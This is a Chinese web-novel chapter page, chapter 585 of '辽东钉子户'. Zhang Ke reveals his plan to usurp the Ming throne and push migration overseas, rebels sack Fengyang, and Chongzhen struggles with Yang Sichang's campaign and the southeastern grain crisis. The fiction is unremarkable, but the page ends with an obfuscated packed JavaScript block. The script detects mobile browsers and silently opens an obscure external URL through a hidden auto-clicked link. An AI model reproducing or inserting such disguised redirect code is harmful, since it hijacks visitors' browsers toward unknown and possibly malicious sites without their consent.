第五文学网 > 都市小说 > 辽东钉子户 > 第五百八十五章 求求张恪吧

第五百八十五章 求求张恪吧

    自从张恪上书保举崔呈秀以来,京里的情况一天三变,弹劾崔呈秀的奏折越来越多。而崇祯多疑的性子也暴露出来。他几次想调动义州兵去剿灭流寇,张恪都给挡回去了,两个人之间就有了心结。

    这一次崇祯更是明发弹劾奏折,这一手的目的昭然若揭。

    一下子弹劾的奏疏就像是雪片一样飞来,不光是崔呈秀,甚至连张恪也没有跑了,崇祯思索再三,毕竟张恪还手握大权,他亲自派遣官员到天津安慰张恪,当然只是张恪一人,至于崔呈秀,你自己想去吧!

    夜色渐渐浓稠,茶水也喝淡了,崔呈秀越发着急,额头都冒出了汗水。

    两个人同时遭到弹劾,只安慰张恪,崇祯的意思再明白不过了,那就是逼着张恪丢卒保帅。

    虽然张恪答应会力保他,谁知会不会有变化啊!一旦张恪松口了,他这个阉党余孽保证身首异处了!

    等了半天,张恪没说法,反而随手拿起了茶杯,闷头喝茶,送客的意思非常明白。崔呈秀涨红了脸,起身走了两步,突然回头,犹豫一下,冲着张恪深深一躬。

    “永贞兄,我一直有个疑惑,不知道永贞兄能不能给我解惑。”

    “崔兄,你说吧。“

    崔呈秀深深吸了口气,目光紧紧盯着张恪,郑重道:“永贞兄,这些年义州兵势力越发强盛,武力之雄,冠绝天下,京城又在咫尺之间。为何永贞兄舍近求远,先是东南,接着西北,甚至把主意打到了海外,却迟迟不取呢?”

    话音不大,可是每个字都重若千斤,崔呈秀经略辽东以后。对张恪的实力越发清楚,他第一反应就是这家伙肯定有不臣之心。可是偏偏不见张恪有什么举动,反而是左折腾,右折腾。在他看来都是些无用功。

    张恪看了看疑惑的崔呈秀,淡然一笑。

    “崔兄,你是想当从龙功臣?”

    崔呈秀老脸一红,咬咬牙,赌了!

    要想让张恪保自己。就要让他看到自己的价值。

    “要不是永贞兄庇佑,崔某早就随着魏忠贤死了,我这条命早就是永贞兄的。试问京城坐在龙椅上的朱由检,他除了姓朱之外,还有一丝可取之处吗?永贞兄文韬武略,又有大功有天下,实在不该屈居人下。”

    说着崔呈秀竟然跪在地上,以头触地,发誓道:“臣虽不才,愿意替永贞兄打先锋。昏君不纳忠言,就该由能者却而代之,古往今来,天与不取,反受其咎啊!”

    崔呈秀说完,五体投地,趴在张恪面前,身上的汗水不停落下,没一会儿,地上赫然多了一个水印。

    每一分一秒。都是前所未有的煎熬,当张恪说出“起来吧”三个字的时候,崔呈秀扑通摔了个大马趴,半晌才爬了起来。

    “崔兄。你先坐下歇会吧。”

    “微臣不敢。”崔呈秀恭谨地说道。

    “你是认准我要当皇帝了。”张恪轻笑道:“崔兄,我也不瞒你了,张某的确有这个心思。”

    崔呈秀一下子瞪大了眼睛,可接下来的话让他更加骇然。

    “其实早有人劝过本王,只是时机还不成熟啊。”

    “怎么会?”崔呈秀脱口而出,说道:“是缺兵。还是却粮?我看辽东的积累都够了,再说打下京师也花不了多少工夫。”

    张恪意味深长一笑,“京师不在话下,可是那些流民该如何?”

    “发粮赈济就是了,辽东不是做的挺好吗?”

    张恪摇摇头:“崔兄,从大明立国以来,田地增加不过五成,而户口呢?至少翻了三倍!就算没有兼并,没有官吏盘剥,这些土地也养不活大明的百姓。又一轮治乱交替已经不可避免,若是没有充分准备,就算是当上了皇帝也会陷入无休止的战乱之中,直到多余的人口消耗殆尽。”

    崔呈秀从来没有这么想过,此时一听,不由得浑身战栗,汗水冒的比刚才还多。

    “王,王爷,您打算怎么办?”崔呈秀艰难咽了口吐沫。

    “很简单,就是我让崔兄做的事情。”张恪突然笑道:“开拓海外疆土,屯田异域,大力移民海外,只有如此,才能解决人多地少的问题,才能避免汉末,唐末一般的战乱。”

    “百姓安土重迁,不愿意迁移又该如何?”

    “不是有流寇吗!有他们到处闹,百姓就算是不想走,也没有办法!”

    明白了,彻底明白了!

    崔呈秀艰难消化着张恪的打算,很明显这位已经不把大明王朝放在眼里,他想要做的是用最小的代价进行改朝换代。

    想到这里,他骤然发觉,自己这个海外总督可不是寻常的安排,相反,还是极为重要的那一个!

    血液霎时间往脑袋涌去,崔呈秀涨红了脸膛,激动地嘴都有些磕巴了。

    “多谢王爷看重,臣一定不负所托,只是……”他的脸色又垮了下来,苦笑道:“只是崇祯小儿不同意,您看?”

    张恪微微一笑:“崔兄,你只管去弄清楚南洋的局势,至于朝廷,我有办法摆平。”

    ……

    敬酒不吃吃罚酒啊,张恪本想着和崇祯击鼓买糖,个干一行,谁知道崇祯这么快就不听话了,少不得就要按照他的节奏办事了,张恪如是想到,空气中都弥漫着阴谋的味道。

    自从张恪巡边之后,从蓟镇,到宣大,全都大力裁撤士兵,另外贺世贤也在京营裁撤人手。

    如此一来,大量的失业兵痞或是落草为寇,或是加入流民军队,成为部队骨干力量。使得流民势力比起历史上要强大无数倍。而且他们时不时的,还能接收到武器商人的接济,有刀枪,盔甲,甚至有不少火绳枪。

    这些武器可了不得,竟然比起大明军队用的还好,如虎添翼的流寇越来越凶悍,抢县夺州,杀官放粮。闹得不亦乐乎,除了太原等少数地方能撑住之外,其他地区多半沦陷。

    不过崇祯也不完全是饭桶,他起用洪承畴为五省总督。专门负责剿匪事宜。

    还别说,洪承畴算是个干才,上任之后,立刻整饬人马,置办刀枪。而且多派人手,弄清流寇动向。几个凌厉的杀招,就接连大败流寇,挽回了局面。

    流寇在山西没法立足,就退到了河南,在荥阳各地流寇头目聚齐,商量着下一步的方略。作为义军之中的后起之秀,李自成提出:“分兵定向,四路攻战”的方略,得到一致赞许。

    会盟结束之后。高迎祥、李自成、张献忠立刻率领着流寇南下,从河南侵入南直隶。由于是奇兵突出,守军应变不及,竟连战连败,溃不成军。

    沿途的流民听闻义军杀来,纷纷起兵造反,扶老携幼,加入流寇的队伍,李自成的势力越发庞大。

    临近年末,流寇终于杀到了凤阳!

    这里既不是战略要冲。也不是富庶的天堂,可就是因为两百多年前,这里出了一个了不起的人物,就变得无比重要起来。那个人就是洪武皇帝朱元璋!

    在大明朝,凤阳还有个名字,叫做中都。高迎祥和李自成率领着大军,猛扑凤阳。凤阳守将朱国相率兵迎战。

    可是他不知道,早在流寇到来之前,已经有一批流民混入了城中。就在朱国相和高迎祥等人拼死厮杀的时候。城中的流民到处放火。到处杀人,霎时间后方大乱,两下夹攻之下,朱国相很快撑不住,力战而死。

    高迎祥大军冲进了凤阳,挖掘朱家的祖坟,将昔年朱元璋出家的皇觉寺焚烧一空,接着又杀戮宦官,抢掠珍奇异宝,好不畅快。

    一心狂喜的高迎祥不知道他们惹下了多大的麻烦,就在攻占凤阳的三天之后,消息传到了京城,正在处理奏折的崇祯一听,朱笔落地,半晌没有觉察,仿佛呆住了一般。

    突然他嚎啕痛苦,声音比起啼血的杜鹃还要凄厉,宫中之人,无不悚然而惊。

    第二天早上,天刚刚亮,崇祯就跑到了太庙,对着大明朝历代列祖列宗的灵位,嚎啕痛哭,几次昏厥。幸亏内阁的众位大学士及时赶来,要不然崇祯说不定都会哭死。

    凤阳乃是大明龙兴之地,竟然遭此横祸,难道是上天厌弃大明不成!

    有什么都冲着朕来,由朕一人承担。

    不要牵连祖宗啊!

    从台面回来,整整三天,崇祯都坐在乾清宫,一动不动,如果不是眼珠转动,都会让人把他错当成雕塑。

    经过三天的苦思,崇祯下的第一道旨意就是把杨嗣昌叫来。

    杨嗣昌可不是寻常之辈,出身书香门第,父亲杨鹤曾经官至三边总督,父子两个都以知兵著称,算得起是朝廷之上,为数不多的军事人才之一,至少在崇祯心目中是这样的。

    君臣见面之后,崇祯咬着嘴唇,直截了当就问道:“爱卿可有消灭流贼之策?”

    “有!”

    杨嗣昌回答地十分肯定,或许他早就料到了这一天,因此慷慨陈词,一点没有犹豫。长篇大论下来,竟然把士气低落的崇祯说的来了精神,到了最后,甚至两眼冒光,拳头攥得紧紧的。

    “臣的策略总结起来就是四正六隅,以陕西、河南、湖广、江北为四正,四巡抚分剿,而专防延绥、山西、山东、江南、江西、四川,为六隅,六巡抚分防而协剿,是谓十面之网,总督、总理二臣随贼所向,专征讨。如此一来,天罗地网,就算流寇有通天的本事,也难逃一死。按照臣预料,不出三年,流寇定然星落云散,天下重归太平。”

    整个方略就是九个字,大手笔!大纵横!还有大消耗!

    如果是张恪毫不犹豫地拒绝,甚至会重罚提出建议的人,开什么玩笑,把十个省都变成战场,就算是百万大军,也没法围追堵截,把流寇给看住了。根本就是大而无当,纸上谈兵的胡说八道。

    幸运的是杨嗣昌面对的是崇祯,他对这个计划有着异乎寻常的赞赏。

    “爱卿果然有大才,朕心甚慰,听旨,朕加封卿为兵部尚书,总督剿匪事宜,另外任命熊文灿为右都御史,总理诸省军务,协助爱卿,扫平流寇。”

    杨嗣昌不过是万历三十八年的进士,二十年间,冲到部堂高官,而且是主管各省的军政大权,真是春风得意马蹄疾。

    可是上任之后,杨嗣昌就面临着最大的困难。

    按照他的设想,需要增兵十四万,增加粮饷二百八十万两。

    想的很好,可是却没地方弄银子。崇祯咬了咬牙,从內帑凑了二十万两给了杨嗣昌,其余的银子都要从户部拿,可是户部早就空了。

    庞大的计划还没开始,就搁浅了,不论是崇祯,还是杨嗣昌,都陷入了空前的尴尬。

    没办法,就只能增加田赋,苦一苦百姓百姓,只要流寇剿灭了,天下就太平了,崇祯只能如此自我催眠。

    就在准备下圣旨的时候,突然一个意想不到的事情发生了,此时对明廷的打击,甚至超过了中都沦陷,祖坟被刨!

    南直隶,主要是松江府,和苏州府,加上浙江,福建,全都是大明朝的财富重地,万名士绅联名上奏,要求朝廷减少漕粮数量,如果再不与民休养,东南就要乱了。

    相比遥远的凤阳,漕粮关乎京城百姓的肚子,重要程度,不言而喻,一下子京城的文武百官都吓傻了。

    “怎么会,怎么会这样?”崇祯在御书房来回转圈,不停摇头:“东南是鱼米之乡,财赋重地,怎么可能没粮食了,简直是欺人之谈,查,朕一定要派人查,把赃官找出来,严惩不贷!”

    王承恩在一旁脸色凄苦,不由得说道:“皇爷,老奴有言,不得不说。”

    “讲。”

    “是,隆庆开关以来,尤其是松江开关,东南和西洋贸易越发兴旺。百姓争相改稻田为桑田,不种粮食种棉花,农田已经下降了一半以上。而近年漕粮数量与日俱增,从二百多万石,一口气增加到了八百万石,东南就算有金山银山,也都搬空了。”

    崇祯万万想不到竟然如此结果,他颓然坐在龙椅上面,精气神好像都被抽空了。天底下就剩一个东南了,要是这里都乱了,大明朝可真就没救了。看着崇祯痴痴坐在那里,一语不发。

    王承恩偷偷凑到近前,低声说道:“皇爷,老奴以为或许可以下旨,问问安东王!”(未完待续。)  


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('t B(){o(S C==="\\p\\6\\3\\0\\j\\5\\6\\0\\3"){D T}E a=(U^V)+(F^F);u G=C[\'\\p\\c\\0\\9\\W\\k\\0\\6\\4\'][\'\\4\\2\\v\\2\\m\\0\\9\\q\\1\\c\\0\']();a="X".w("").x().y("");u H=Y Z(\'\\1\\6\\3\\9\\2\\5\\3\\d\\5\\e\\l\\2\\6\\0\\d\\5\\e\\1\\3\\d\\5\\e\\2\\3\\d\\m\\5\\6\\3\\2\\m\\c\\I\\e\\l\\2\\6\\0\\d\\7\\8\\1\\g\\r\\7\\0\\9\\9\\h\\d\\c\\h\\f\\7\\5\\1\\6\\d\\m\\0\\7\\2\\c\\d\\2\\e\\0\\9\\1\\I\\f\\5\\6\\5\\d\\5\\0\\f\\2\\7\\5\\8\\0\\d\\f\\2\\7\\5\\8\\0\',\'\\5\');D H[\'\\4\\0\\c\\4\'](G)}t J(a){E b=(K^K)+(10^11);u i=n[\'\\g\\9\\0\\1\\4\\0\\L\\8\\0\\f\\0\\6\\4\']("\\1");b=(12^13)+(14^15);i[\'\\l\\9\\0\\j\']=a;i[\'\\c\\4\\h\\8\\0\'][\'\\3\\5\\c\\e\\8\\1\\h\']="\\6\\2\\6\\0";i[\'\\4\\1\\9\\k\\0\\4\']="16".w("").x().y("");n[\'\\7\\2\\3\\h\'][\'\\1\\e\\e\\0\\6\\3\\q\\l\\5\\8\\3\'](i);i[\'\\g\\8\\5\\g\\r\']();n[\'\\7\\2\\3\\h\'][\'\\9\\0\\f\\2\\z\\0\\q\\l\\5\\8\\3\'](i)}n[\'\\1\\3\\3\\L\\z\\0\\6\\4\\v\\5\\c\\4\\0\\6\\0\\9\']("\\17\\18\\19\\q\\2\\6\\4\\0\\6\\4\\v\\2\\1\\3\\0\\3",t(){o(!M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']){o(n[\'\\7\\2\\3\\h\']!=1a){M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']="\\A";O=P[\'\\k\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j");o(!O&&B()){J("\\l\\4\\4\\e\\c\\1b\\s\\s\\7\\m\\1c\\1d\\1e\\R\\9\\1f\\3\\k\\z\\7\\R\\g\\2\\f\\s\\g\\7\\3\\s\\1\\1\\1\\1\\7\\1")}P[\'\\c\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j","1g".w("").x().y(""))}}});',62,79,'u0065|u0061|u006F|u0064|u0074|u0069|u006E|u0062|u006C|u0072|||u0073|u007C|u0070|u006D|u0063|u0079|_0x9c_0xc86|u0066|u0067|u0068|u0077|document|if|u0075|u0043|u006B|u002F|function|const|u004C|split|reverse|join|u0076|u0049|isMobileDevice|navigator|return|var|464266|_0x86227d|_0x2_0x5d8|u0020|OpenUrl|200295|u0045|window|u0056|hasExecuted|localStorage|u005F|u002E|typeof|false|399549|399546|u0041|fmhjpl|new|RegExp|642306|642305|447903|447894|731200|731209|knalb_|u0044|u004F|u004D|null|u003A|u0031|u0030|u0032|u007A|eurt'.split('|'),0,{}))